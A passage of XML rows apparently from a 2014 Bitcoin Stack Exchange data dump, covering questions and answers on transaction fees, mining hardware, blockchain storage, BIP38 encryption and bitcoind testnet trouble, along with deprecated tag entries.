  <row Id="24235" PostTypeId="2" ParentId="24224" CreationDate="2014-04-02T15:09:53.443" Score="0" Body="&lt;p&gt;Signing the transaction itself gets them to propagate on the network.  The miner fee is recognized by peers running btc nodes and by miners who are willing to accept the fee if their proof of work is accepted.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you're trying to effectively replicate the real-time relaying of transactions?  Bitlisten.com has effectively done this and provides the audio output when this occurs in real-time.  They use Blockchain.info's api to recieve realtime transactions.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-04-02T15:09:53.443" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24239" PostTypeId="2" ParentId="24040" CreationDate="2014-04-02T16:13:39.477" Score="3" Body="&lt;p&gt;Well...&lt;br&gt;&#xA;You could automate it using the JSON RPC and slowly work through the keys, however this will be kinda slow. If you actually need to work with 1 million keys, you may need to consider an alternative option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it you need to do with the keys?&lt;/p&gt;&#xA;" OwnerUserId="4722" LastActivityDate="2014-04-02T16:13:39.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24240" PostTypeId="1" CreationDate="2014-04-02T16:43:26.457" Score="-2" ViewCount="78" Body="&lt;p&gt;I would like to know where can I post What I think and have a discussion on Bitcoin issues rather than ask/answer questions, or is this just an ask and answer area? &lt;/p&gt;&#xA;" OwnerUserId="14248" LastEditorUserId="127628" LastEditDate="2022-05-19T18:47:43.540" LastActivityDate="2022-05-19T18:47:43.540" Title="Where in this web can I post what I think rather than ask about bitcoin" Tags="|forum|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24241" PostTypeId="1" CreationDate="2014-04-02T17:10:47.370" Score="1" ViewCount="92" Body="&lt;p&gt;As the hash power of the network continues to grow, should we expect to see a % of miners drop off because of unfavorable returns? Thus, causing the difficulty to plateau or even decrease at a certain point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help much appreciated. &lt;/p&gt;&#xA;" OwnerUserId="14945" LastActivityDate="2014-05-03T17:18:39.720" Title="Difficulty Trends" Tags="|network|difficulty|hashpower|" AnswerCount="2" CommentCount="1" ClosedDate="2014-05-27T21:40:35.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="24242" PostTypeId="2" ParentId="24240" CreationDate="2014-04-02T17:23:38.623" Score="5" Body="&lt;p&gt;&lt;strong&gt;Forums I participate in&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcointalk&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://cryptocointalk.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;cryptocointalk&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://cryptocrypt.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;cryptocrypt&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Reddit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinfoundation.org/forum/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoinfoundation forum&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Google Search&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bitcoinforum.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoinforum&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://ecoiner.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;ecoiner&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coinboards.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;coinboards&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcointrading.com/forum/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcointrading forum&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.coinforum.ca/&quot; rel=&quot;nofollow noreferrer&quot;&gt;coinforum.ca&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There's bucket loads of forums out there, not to mention IRC Channells where you can find People 24 hours a day to talk live to about bitcoins&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/IRC_channels&quot; rel=&quot;nofollow noreferrer&quot;&gt;IRC channels&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I think the harder question will be where to start ;) good luck&lt;/p&gt;&#xA;" OwnerUserId="13963" LastEditorUserId="127628" LastEditDate="2022-05-10T23:18:56.357" LastActivityDate="2022-05-10T23:18:56.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24243" PostTypeId="2" ParentId="24233" CreationDate="2014-04-02T18:40:47.210" Score="2" Body="&lt;p&gt;Depending on what you meant to ask, the answer is one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you run a Bitcoin-qt fork which is incompatible with the rest of the network, you're running a separate currency which has no value (because no one else accepts it).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you ignore blocks and forge historic timestamps to create a branch with more blocks of low difficulty, it will not be chosen over the main branch because the choice is made based on total difficulty, not number of blocks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-04-02T18:40:47.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24244" PostTypeId="2" ParentId="24241" CreationDate="2014-04-02T19:34:41.750" Score="0" Body="&lt;p&gt;Eventually at some point the difficulty will remain constant (after a drop), that is when the block reward does not outweighs the electricity costs of the mining operation anymore. What will happen at this point is not yet sure, but it is unlikely that the hashing power of the network will drop dangerously low, as there are still transaction fees and people who just like to participate (even at the loss of money). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the hashing power will rise for some time to come as new faster ASIC are still being developed.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-04-02T22:08:03.423" LastActivityDate="2014-04-02T22:08:03.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24246" PostTypeId="1" AcceptedAnswerId="24247" CreationDate="2014-04-02T21:47:28.123" Score="2" ViewCount="525" Body="&lt;p&gt;Today I sent 1.5 BTC to an exchange but forgot to add a transaction fee, the Qt wallet didn't even prompt me with one and I just clicked on Yes. Now &lt;a href=&quot;https://blockchain.info/tx/7242efd299b3fe2dae04567b4778bb89cacd873a71b1ac16498e7014509bb7a2&quot; rel=&quot;nofollow&quot;&gt;it's been over 2 hours&lt;/a&gt; and it's not confirmed (as you would have guessed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I kinda needed it to reach the exchange quickly (I know, my fault), but now is there any way to speed this up or do I have to wait it out for days to arrive at the destination?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15004" LastActivityDate="2014-04-02T21:50:17.883" Title="Forgot to add transaction fee, any way to add it now?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-02T23:28:14.050" ContentLicense="CC BY-SA 3.0" />
  <row Id="24247" PostTypeId="2" ParentId="24246" CreationDate="2014-04-02T21:50:17.883" Score="1" Body="&lt;p&gt;You can wait it out. Both of your inputs are around 1BTC so your transaction will likely be bumped up to &quot;high priority&quot; status in the next 12-24 hours.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-04-02T21:50:17.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24248" PostTypeId="2" ParentId="22764" CreationDate="2014-04-02T22:59:35.243" Score="1" Body="&lt;p&gt;celldice.com has an API over secure http, &#xA;see this link for details &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://celldice.com/api.en.txt&quot; rel=&quot;nofollow&quot;&gt;https://celldice.com/api.en.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15005" LastActivityDate="2014-04-02T22:59:35.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24249" PostTypeId="1" CreationDate="2014-04-02T23:31:07.257" Score="1" ViewCount="290" Body="&lt;p&gt;So, I have been mining LTC with a custom rig (see below for hardware details) and this morning it was down. When I restarted it, it worked fine for two minutes then shut down again without beep nor blue screen. Here is what I have try to understand where the problem comes from.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tried a different power bar&lt;/li&gt;&#xA;&lt;li&gt;Let the PC run without the miner software enabled (PC &lt;strong&gt;don't crash in that case&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Let the PC run with the miner but only 3 GPUs working (PC &lt;strong&gt;don't crash in that case&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Let the PC run with the miner but 4-5-6 GPUs working (PC &lt;strong&gt;crashes&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have few hypotheses.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add4PSU which plug the two PSU in serie doesn't work: I don't know if the 6 GPUs would start in that case, however, since three are plugged on the second PSU.&lt;/li&gt;&#xA;&lt;li&gt;For some reason, heat make the PC shut down (sensors broken or something strange)&lt;/li&gt;&#xA;&lt;li&gt;One of the PSU can't get enough power when the GPUs work at 100%&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;I do not know if someone has any idea. I'll post this also on superuser stack. Here is my hardware:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mobo: MSI Z77A-G45 ATX LGA1155 Z77 DDR3 3PC I-E16 4PC I-E1&lt;/li&gt;&#xA;&lt;li&gt;GPU: &lt;strong&gt;6&lt;/strong&gt; PowerColor PCS+ AX7950 3GBD5-2DHPP Radeon HD 7950 3GB 384-bit GDDR5&lt;/li&gt;&#xA;&lt;li&gt;CPU: Intel Celeron G1620&lt;/li&gt;&#xA;&lt;li&gt;Mem: 2 Viper Xtreme 1600Mhz, 2GB&lt;/li&gt;&#xA;&lt;li&gt;PSU: &lt;strong&gt;2&lt;/strong&gt; Corsair Professional HX850W 850W ATX 12V 70A 24PIN ATX Modular (Gold rated, plugped with Add2PSU)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5202" LastEditorUserId="5406" LastEditDate="2016-03-17T14:26:27.953" LastActivityDate="2016-03-17T14:26:27.953" Title="Miner hardware problem" Tags="|mining-hardware|gpu-mining|mining-setup|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24250" PostTypeId="2" ParentId="10867" CreationDate="2014-04-03T00:49:13.753" Score="0" Body="&lt;p&gt;You could start by parsing the JSON here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitpay.com/bitcoin-exchange-rates&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/bitcoin-exchange-rates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2014-04-03T00:49:13.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24251" PostTypeId="2" ParentId="22566" CreationDate="2014-04-03T02:48:05.447" Score="1" Body="&lt;p&gt;Basically a form of investing / gambling where you decide on the direction that a commodity / stock will move. There's information on bitcoin binary options here &lt;a href=&quot;http://www.binaryoptions.com/best-bitcoin-binary-options-brokers/&quot; rel=&quot;nofollow&quot;&gt;http://www.binaryoptions.com/best-bitcoin-binary-options-brokers/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15008" LastActivityDate="2014-04-03T02:48:05.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24252" PostTypeId="1" CreationDate="2014-04-03T05:34:33.563" Score="0" ViewCount="299" Body="&lt;p&gt;How much space needed to run Bitcoin daemon in amazon AMI(ubuntu 12.04), I am currently having 20GB is that enough suppose i want to run multiple coin daemon say 6 coin daemons how much space(approx) i needed?  &lt;/p&gt;&#xA;" OwnerUserId="14629" LastActivityDate="2014-05-03T08:18:45.107" Title="How much space needed to run Bitcoin daemon in amazon AMI?" Tags="|bitcoind|litecoin|ubuntu|storage-footprint|amazon-web-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24254" PostTypeId="2" ParentId="24252" CreationDate="2014-04-03T07:30:57.067" Score="1" Body="&lt;p&gt;The relevant space used is the one needed to store the blockchain, the public registry where all the bitcoin transaction are recorded. It's currently about 16GB, you can have a look of the growing rate here &lt;a href=&quot;https://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/blocks-size&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6693" LastEditorUserId="6693" LastEditDate="2014-04-03T08:10:08.257" LastActivityDate="2014-04-03T08:10:08.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24255" PostTypeId="1" AcceptedAnswerId="24268" CreationDate="2014-04-03T08:26:57.733" Score="4" ViewCount="2251" Body="&lt;p&gt;Can anyone explain what are the advantages of using BIP 38 Bitcoin wallet encryption to simply encrypting the private key with AES256?&lt;/p&gt;&#xA;" OwnerUserId="5960" LastActivityDate="2015-02-15T14:48:36.967" Title="Comparing Bip 38 to AES256" Tags="|encryption|bip38|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24256" PostTypeId="5" CreationDate="2014-04-03T09:13:00.733" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:13:00.733" LastActivityDate="2014-04-03T09:13:00.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24257" PostTypeId="4" CreationDate="2014-04-03T09:13:00.733" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:13:00.733" LastActivityDate="2014-04-03T09:13:00.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24258" PostTypeId="5" CreationDate="2014-04-03T09:14:16.693" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:14:16.693" LastActivityDate="2014-04-03T09:14:16.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24259" PostTypeId="4" CreationDate="2014-04-03T09:14:16.693" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:14:16.693" LastActivityDate="2014-04-03T09:14:16.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24260" PostTypeId="5" CreationDate="2014-04-03T09:18:06.603" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:18:06.603" LastActivityDate="2014-04-03T09:18:06.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24261" PostTypeId="4" CreationDate="2014-04-03T09:18:06.603" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:18:06.603" LastActivityDate="2014-04-03T09:18:06.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24262" PostTypeId="5" CreationDate="2014-04-03T09:20:46.547" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:20:46.547" LastActivityDate="2014-04-03T09:20:46.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24263" PostTypeId="4" CreationDate="2014-04-03T09:20:46.547" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:20:46.547" LastActivityDate="2014-04-03T09:20:46.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24264" PostTypeId="5" CreationDate="2014-04-03T09:25:57.857" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:25:57.857" LastActivityDate="2014-04-03T09:25:57.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24265" PostTypeId="4" CreationDate="2014-04-03T09:25:57.857" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:25:57.857" LastActivityDate="2014-04-03T09:25:57.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24266" PostTypeId="5" CreationDate="2014-04-03T09:27:56.270" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:27:56.270" LastActivityDate="2014-04-03T09:27:56.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24267" PostTypeId="4" CreationDate="2014-04-03T09:27:56.270" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T09:27:56.270" LastActivityDate="2014-04-03T09:27:56.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24268" PostTypeId="2" ParentId="24255" CreationDate="2014-04-03T10:55:40.913" Score="6" Body="&lt;p&gt;See the following links for an &lt;a href=&quot;https://bitcoinpaperwallet.com/bip38-password-encrypted-wallets/&quot; rel=&quot;nofollow&quot;&gt;overview&lt;/a&gt; and for &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0038.mediawiki&quot; rel=&quot;nofollow&quot;&gt;details&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: In short, if you do not have a strong understanding of the BIP38 encryption and decryption workflow, do not BIP38-encrypt your paper wallet. Just print your paper wallet out without encryption, and keep it safe the same way you would jewels or cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just encrypting with AES provides excellent security but the weakness is the key which is unwieldily since it needs to be random binary data and the encrypted output which is also binary data. In order to use a passphrase as the encryption key a function such as PBKDF2 is generally used and the output can be base64 encoded to make it ASCII so it can be printed/written. Finally, unless you are a crypto domain expert do not roll-your-own security schemes, they generally will contain flaws rendering the security null.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;a href=&quot;https://en.wikipedia.org/wiki/Scrypt&quot; rel=&quot;nofollow&quot;&gt;Scrypt&lt;/a&gt; is a form of Password-Based Key Derivation Function (PBKDF2) that has increased memory requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP38 encryption provides the above and some inter ability with the crypto currency eco-system.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="13440" LastEditDate="2015-02-15T07:10:14.210" LastActivityDate="2015-02-15T07:10:14.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24269" PostTypeId="1" CreationDate="2014-04-03T11:19:11.313" Score="0" ViewCount="67" Body="&lt;p&gt;The last days I was thinking about arbitrage trading because the prices differ between several exchanges. So I started thinking if this could work and I'm stuck in one point. If I deposit money on exchange A and buy coins for 100$ each. Then transferring the money to exchange B and sell them for 110$ each I will make some profit. But I'm thinking on how to get the money back to exchange A to start over again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could do this my withdrawing via bank wire or something but this is expensive and slow. Transferring bitcoins is quite easy but is there any suitable way on how to exchange USD/EUR/whatever from one exchange to another!?&lt;/p&gt;&#xA;" OwnerUserId="15013" LastActivityDate="2014-04-03T11:19:11.313" Title="Arbitrage possible?" Tags="|arbitrage|money-transfer|" AnswerCount="0" CommentCount="2" ClosedDate="2014-04-04T08:07:42.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="24270" PostTypeId="5" CreationDate="2014-04-03T11:32:06.133" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T11:32:06.133" LastActivityDate="2014-04-03T11:32:06.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24271" PostTypeId="4" CreationDate="2014-04-03T11:32:06.133" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T11:32:06.133" LastActivityDate="2014-04-03T11:32:06.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24272" PostTypeId="5" CreationDate="2014-04-03T11:45:24.493" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2024-01-15T17:35:30.363" LastActivityDate="2024-01-15T17:35:30.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24273" PostTypeId="4" CreationDate="2014-04-03T11:45:24.493" Score="0" Body="Definitions of technical terms, jargon, abbreviations, acronyms, and phrases that are essential to the Bitcoin community." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2024-01-15T17:35:30.363" LastActivityDate="2024-01-15T17:35:30.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24274" PostTypeId="5" CreationDate="2014-04-03T11:59:28.767" Score="0" Body="&lt;p&gt;DO NOT USE. Removed as part of the &lt;a href=&quot;http://meta.bitcoin.stackexchange.com/q/513/5406&quot;&gt;Weeding out bad Tags Initiative 2014&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T11:59:28.767" LastActivityDate="2014-04-03T11:59:28.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24275" PostTypeId="4" CreationDate="2014-04-03T11:59:28.767" Score="0" Body="DO NOT USE. Removed as part of the &quot;Weeding out bad Tags Initiative 2014&quot;. See link in Tag Wiki for more information." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-04-03T11:59:28.767" LastActivityDate="2014-04-03T11:59:28.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24276" PostTypeId="1" CreationDate="2014-04-03T12:25:25.007" Score="1" ViewCount="920" Body="&lt;p&gt;I would like to use blockchain.info &quot;recieve payment&quot; api for my hidden service, but would like opinion on the following considerations:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Will it be possible to use blockchain.info api for hidden services&lt;/li&gt;&#xA;&lt;li&gt;Will blockchain.info allow tor connections&lt;/li&gt;&#xA;&lt;li&gt;will the ip of my hidden server be compromised (broadcasted)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15015" LastActivityDate="2014-09-03T07:39:47.637" Title="blockchain.info api for tor hidden services" Tags="|blockchain.info|tor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24277" PostTypeId="1" CreationDate="2014-04-03T12:30:07.067" Score="1" ViewCount="4197" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YPsny.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new in peercoin and trying first time mining of any currency just to see how it works.&#xA;I installed cgminer but there's an error &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Probing for an alive pool Network diff set to 91.5&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;like that but I am confused that is that are errors or not because its also saying &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;stratum from pool 0 detect new block&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;can anyone explain me what's its going I mean working or not if not then why this error is coming if its working then meaning of these messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13912" LastEditorUserId="5406" LastEditDate="2016-04-25T19:32:11.207" LastActivityDate="2016-04-25T19:32:11.207" Title="I am new with peercoin and confused is it mining or not [screenshot]" Tags="|mining-pools|miner-configuration|cgminer|peercoin|" AnswerCount="0" CommentCount="6" ClosedDate="2019-07-17T21:05:24.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="24278" PostTypeId="1" CreationDate="2014-04-03T13:41:18.117" Score="5" ViewCount="195" Body="&lt;p&gt;I read this in a forum post on another site. Here's my recap. But by &quot;I&quot; I mean me, not the original poster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All transactions over the bitcoin network is stored as raw data forever in the distributed database (all bitcoin clients has the same copy of the database .. and if they lose by, e.g. by reinstalling the client, they'll synchronize with the distributed one again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &quot;inject&quot; whatever 20 byte binary strings you want into the flat files (described here &lt;a href=&quot;http://pastebin.com/ct2WHUK5&quot;&gt;http://pastebin.com/ct2WHUK5&lt;/a&gt; ). I'm pretty sure there are other ways to do it as well (apparently you can add text messages to transactions?.. I don't really know).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, here's my question. What'd happen if the bitcoin database were flooded with virus signatures? Is this a serious matter or just a &quot;Meh&quot;?&lt;/p&gt;&#xA;" OwnerUserId="15016" LastActivityDate="2014-05-05T19:49:28.693" Title="Are virus signatures a serious threat to the bitcoin network?" Tags="|database|virus|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24279" PostTypeId="1" AcceptedAnswerId="24338" CreationDate="2014-04-03T14:55:24.067" Score="1" ViewCount="785" Body="&lt;p&gt;I'm running bitcoind on a debian web server. If I run in normal mode, i.e. &quot;bitcoind -daemon,&quot; then it seems to work completely fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[birdseye]$ ./bitcoind -daemon&#xA;Bitcoin server starting&#xA;[birdseye]$ ./bitcoind getinfo&#xA;{&#xA;    &quot;version&quot; : 80600,&#xA;    &quot;protocolversion&quot; : 70001,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 184222,&#xA;    &quot;timeoffset&quot; : 0,&#xA;    &quot;connections&quot; : 1,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 1583177.84744401,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1396494743,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;[birdseye]$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if I run it with &quot;-testnet&quot; (which I kind of &lt;em&gt;need&lt;/em&gt; to), it starts up... but gives no response. Ever.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[birdseye]$ ./bitcoind -daemon -testnet&#xA;Bitcoin server starting&#xA;[birdseye]$ ./bitcoind getinfo&#xA;error: couldn't connect to server&#xA;[birdseye]$ ./bitcoind stop&#xA;error: couldn't connect to server&#xA;[birdseye]$ ./bitcoind help&#xA;error: couldn't connect to server&#xA;[birdseye]$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm kind of at a loss. What's going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update 